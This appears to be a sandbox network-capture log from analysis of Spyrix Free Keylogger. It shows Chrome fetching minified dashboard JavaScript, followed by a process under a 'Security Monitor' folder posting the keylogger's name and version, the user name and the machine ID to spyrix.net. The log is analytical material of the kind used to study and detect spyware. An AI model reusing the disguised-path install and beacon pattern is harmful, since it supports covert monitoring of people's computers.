2024-10-02 04:13:08 UTC	3763	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 46 2c 6f 20 61 73 20 49 2c 62 20 61 73 20 44 2c 69 20 61 73 20 50 2c 72 20 61 73 20 67 74 2c 6e 20 61 73 20 72 2c 75 20 61 73 20 74 2c 61 75 20 61 73 20 70 74 2c 67 20 61 73 20 48 2c 45 20 61 73 20 5f 74 2c 46 20 61 73 20 66 74 2c 24 20 61 73 20 76 74 2c 44 20 61 73 20 45 74 2c 4d 20 61 73 20 75 2c 63 20 61 73 20 77 2c 70 20 61 73 20 78 2c 52 20 61 73 20 79 2c 73 20 61 73 20 68 74 2c 61 74 20 61 73 20 77 74 2c 68 20 61 73 20 73 2c 79 20 61 73 20 64 2c 61 7a 20 61 73 20 78 74 2c 61 6d 20 61 73 20 79 74 2c 65 20 61 73 20 53 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 61 20 61 73 20 57 2c 75 20 61 73 20 4c 74 2c 62 20 61 73 20 50 74 2c 64 20 61 73 20 42 74 7d 66 Data Ascii: import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}f
2024-10-02 04:13:08 UTC	1400	IN	Data Raw: 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 66 6f 72 6d 22 2c 6f 6e 4b 65 79 70 72 65 73 73 3a 78 74 28 47 2c 5b 22 65 6e 74 65 72 22 5d 29 7d 2c 5b 73 28 71 2c 7b 63 6c 61 73 73 3a 72 28 5b 74 28 69 29 2e 69 6e 70 75 74 5d 29 2c 76 61 6c 75 65 3a 74 28 67 29 2c 76 61 72 69 61 6e 74 3a 72 74 2e 76 61 6c 75 65 2c 22 61 64 64 69 74 69 6f 6e 61 6c 2d 6d 65 73 73 61 67 65 22 3a 74 28 52 29 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 74 28 61 29 28 22 45 6d 61 69 6c 22 29 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 65 6d 61 69 6c 22 2c 6f 6e 4f 6e 43 68 61 6e 67 65 3a 51 7d 2c 6e 75 6c 6c 2c 38 2c 5b 22 63 6c 61 73 73 22 2c 22 76 61 6c 75 65 22 2c 22 76 61 72 69 61 6e 74 22 2c 22 61 64 64 69 74 69 6f 6e 61 6c 2d 6d 65 73 73 61 67 65 22 2c 22 70 6c 61 63 65 Data Ascii: ,"data-testid":"form",onKeypress:xt(G,["enter"])},[s(q,{class:r([t(i).input]),value:t(g),variant:rt.value,"additional-message":t(R),placeholder:t(a)("Email"),"data-testid":"email",onOnChange:Q},null,8,["class","value","variant","additional-message","place

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49766	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	562	OUT	GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 629 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-275" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T03:12:50+00:00 X-Node: m9-up-gc73 Accept-Ranges: bytes
2024-10-02 04:13:08 UTC	629	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 67 31 6a 44 45 4e 75 51 22 2c 6f 3d 22 6b 6e 33 2d 6a 70 61 38 22 2c 64 3d 22 70 69 31 61 53 67 71 4e 22 2c 72 3d 22 59 78 32 6d 49 6a 4e 35 22 2c 6e 3d 22 47 51 54 58 6e 50 56 68 22 2c 73 3d 22 53 70 74 36 4f 6f 39 41 22 2c 63 3d 22 52 6d 44 6c 44 74 50 31 22 2c 74 3d 22 6e 4c 49 47 57 42 32 6b 22 2c 6c 3d 22 49 65 50 78 6f 4f 71 53 22 2c 69 3d 22 41 55 6d 76 4e 54 7a 36 22 2c 61 3d 22 5f 36 76 58 51 70 6d 51 44 22 2c 6d 3d 22 71 33 56 30 32 46 68 36 22 2c 62 3d 22 53 4a 30 47 50 63 38 65 22 2c 79 3d 22 5f 35 56 65 61 78 45 64 39 22 2c 70 3d 22 63 4b 66 79 68 4a 71 2d 22 2c 68 3d 22 47 77 2d 6c 36 37 79 4d 22 2c 75 3d 22 58 6a 4a 4d 4f 6a 4b 46 22 2c 78 3d 22 57 5a 68 5a 2d 5a 4b 4c 22 2c 50 3d 22 65 49 48 36 65 73 68 57 22 2c Data Ascii: const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49767	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	570	OUT	GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 129 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-81" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:13:08 UTC	129	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 5f 36 70 74 63 2d 76 31 6f 22 2c 6f 3d 22 65 54 55 74 31 76 53 4d 22 2c 63 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 6d 70 6c 61 74 65 22 3a 22 5f 36 70 74 63 2d 76 31 6f 22 2c 62 75 74 74 6f 6e 54 65 6d 70 6c 61 74 65 3a 74 2c 22 77 69 74 68 2d 69 63 6f 6e 22 3a 22 65 54 55 74 31 76 53 4d 22 2c 77 69 74 68 49 63 6f 6e 3a 6f 7d 3b 65 78 70 6f 72 74 7b 63 7d 3b 0a Data Ascii: const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49775	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	376	OUT	GET /dashboard30/assets/en-5393c481.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1098 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-44a" Cache: HIT X-Cached-Since: 2024-10-02T04:11:40+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:13:08 UTC	1098	IN	Data Raw: 63 6f 6e 73 74 20 6f 3d 22 63 6f 6e 76 65 6e 69 65 6e 74 22 2c 65 3d 22 4d 61 69 6e 22 2c 6e 3d 7b 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 2c 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 2c 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 3a 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 2c 22 50 6c 65 61 73 65 20 70 75 72 63 68 61 73 65 20 61 20 6c 69 63 65 6e 73 65 20 74 6f 20 61 63 63 65 73 73 20 79 6f 75 72 20 64 61 74 61 22 3a 22 50 6c 65 61 73 65 20 Data Ascii: const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49773	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	414	OUT	GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 613 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-265" Cache: HIT X-Cached-Since: 2024-10-02T04:13:07+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:13:08 UTC	613	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 63 20 61 73 20 72 2c 61 20 61 73 20 65 2c 6f 20 61 73 20 74 2c 62 20 61 73 20 63 2c 74 20 61 73 20 75 2c 6e 20 61 73 20 6c 2c 65 20 61 73 20 66 2c 55 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 6f 6e 65 52 6f 77 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 62 6f 6c 64 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 74 65 78 74 3a 7b 7d 2c 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 73 6d 22 7d 2c 63 6f 6c 6f 72 3a 7b 64 65 66 61 75 6c 74 3a 22 64 65 66 61 75 6c 74 22 7d 2c 75 70 70 65 72 63 61 73 65 Data Ascii: import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49772	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	376	OUT	GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 774 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-306" Cache: HIT X-Cached-Since: 2024-10-02T04:11:48+00:00 X-Node: m9-up-gc228 Accept-Ranges: bytes
2024-10-02 04:13:08 UTC	774	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 52 65 67 69 73 74 65 72 22 2c 6f 3d 22 45 6d 61 69 6c 22 2c 74 3d 22 50 61 73 73 77 6f 72 64 22 2c 73 3d 22 4c 6f 67 69 6e 22 2c 61 3d 7b 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 3a 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 2c 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 3a 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 2c 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 3a 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 2c 52 65 67 69 73 74 65 72 3a 65 2c 45 6d 61 69 6c 3a 6f 2c 50 61 73 73 77 6f 72 64 3a 74 2c 4c 6f 67 69 6e 3a 73 2c 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 3a 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 2c 22 54 68 69 73 20 65 6d 61 69 6c 20 63 61 6e 6e 6f 74 20 62 65 20 75 73 Data Ascii: const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49771	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	398	OUT	GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 4589 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-11ed" Cache: HIT X-Cached-Since: 2024-10-02T03:20:37+00:00 X-Node: m9-up-gc234 Accept-Ranges: bytes
2024-10-02 04:13:08 UTC	3764	IN	Data Raw: 69 6d 70 6f 72 74 7b 4a 20 61 73 20 54 2c 24 20 61 73 20 4c 2c 46 20 61 73 20 79 2c 61 47 20 61 73 20 5f 2c 45 20 61 73 20 77 2c 61 4d 20 61 73 20 62 2c 61 41 20 61 73 20 52 2c 63 20 61 73 20 43 2c 70 20 61 73 20 46 2c 61 74 20 61 73 20 63 2c 52 20 61 73 20 4d 2c 61 76 20 61 73 20 66 2c 61 75 20 61 73 20 53 2c 61 77 20 61 73 20 75 2c 61 78 20 61 73 20 68 2c 61 63 20 61 73 20 4e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e 20 6c 74 28 29 7b 76 61 72 20 70 3b 63 6f 6e 73 74 20 74 3d 54 28 29 2c 65 3d 4c 28 29 2c 72 3d 79 28 29 2c 61 3d 5f 28 29 2c 7b 73 65 74 44 65 66 61 75 6c 74 73 3a 6f 7d 3d 77 28 29 2c 73 3d 28 28 70 3d 72 2e 70 72 6f 67 72 61 6d 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 70 Data Ascii: import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p
2024-10-02 04:13:08 UTC	825	IN	Data Raw: 75 7d 2c 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 3a 7b 2e 2e 2e 75 7d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 66 65 74 63 68 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 2c 66 65 74 63 68 45 72 72 6f 72 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 65 72 72 6f 72 7d 2c 63 68 65 63 6b 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 7d 2c 61 63 74 69 6f 6e 73 3a 7b 61 73 79 6e 63 20 66 65 74 63 68 56 65 72 69 66 69 63 61 74 69 6f 6e 50 68 6f 6e 65 28 74 29 7b 63 6f 6e 73 74 20 65 3d 45 28 74 29 3b 61 77 61 69 74 Data Ascii: u},checkPhoneCallStatus:{...u}}),getters:{fetchState(t){return t.fetchPhoneCallStatus.state},fetchError(t){return t.fetchPhoneCallStatus.error},checkState(t){return t.checkPhoneCallStatus.state}},actions:{async fetchVerificationPhone(t){const e=E(t);await

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49768	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	566	OUT	GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 120 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-78" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:13:08 UTC	120	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 76 61 4a 67 37 58 47 66 22 2c 6f 3d 22 6d 74 78 46 75 75 71 6f 22 2c 6e 3d 22 4d 74 41 55 6d 34 72 64 22 2c 78 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 78 74 22 3a 22 76 61 4a 67 37 58 47 66 22 2c 62 75 74 74 6f 6e 54 65 78 74 3a 74 2c 74 65 78 74 3a 6f 2c 70 72 69 6d 61 72 79 3a 6e 7d 3b 65 78 70 6f 72 74 7b 78 20 61 73 20 63 7d 3b 0a Data Ascii: const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49769	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	561	OUT	GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:09 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1392 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-570" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T00:53:36+00:00 X-Node: m9-up-gc89 Accept-Ranges: bytes
2024-10-02 04:13:09 UTC	1392	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 75 20 61 73 20 6e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 72 3d 28 65 2c 6f 2c 74 29 3d 3e 7b 73 77 69 74 63 68 28 6f 29 7b 63 61 73 65 22 69 6e 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3e 61 5b 74 5d 3f 31 3a 2d 31 29 3b 63 61 73 65 22 64 65 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3c 61 5b 74 5d 3f 31 3a 2d 31 29 7d 7d 2c 79 3d 6e 28 22 6d 6f 64 61 6c 22 2c 7b 73 74 61 74 65 3a 28 29 3d 3e 28 7b 6d 6f 64 61 6c 73 51 75 65 75 65 3a 5b 5d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 69 73 41 63 74 69 76 65 41 6e 79 4d 6f 64 61 6c 28 65 29 7b 72 65 74 75 72 6e 21 21 65 Data Ascii: import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49770	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	591	OUT	GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:09 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1185 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-4a1" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T01:47:10+00:00 X-Node: m9-up-gc42 Accept-Ranges: bytes
2024-10-02 04:13:09 UTC	1185	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 6f 20 61 73 20 6e 2c 62 20 61 73 20 69 2c 72 20 61 73 20 73 2c 66 20 61 73 20 75 2c 6e 20 61 73 20 64 2c 75 20 61 73 20 6c 2c 77 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 6d 6f 64 75 6c 65 2d 36 64 34 65 39 31 62 38 2e 6a 73 22 3b 63 6f 6e 73 74 20 66 3d 5b 22 74 79 70 65 22 2c 22 64 69 73 61 62 6c 65 64 22 2c 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6d 3d 5b 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 22 2c 70 72 6f 70 73 3a 7b 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 6d 64 22 7d 2c 76 61 72 69 61 6e 74 3a 7b 64 65 66 61 75 6c 74 3a 22 Data Ascii: import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49776	158.69.117.119	443	4428	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 416 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:13:08 UTC	416	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 77 69 7a 61 72 64 3a 53 74 61 72 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 68 75 62 65 72 74 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 33 32 30 33 36 36 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 31 35 38 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 33 3a 30 37 2e 30 33 36 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 Data Ascii: &action=app:wizard:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=320366&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001158&comp_time=2024-10-02 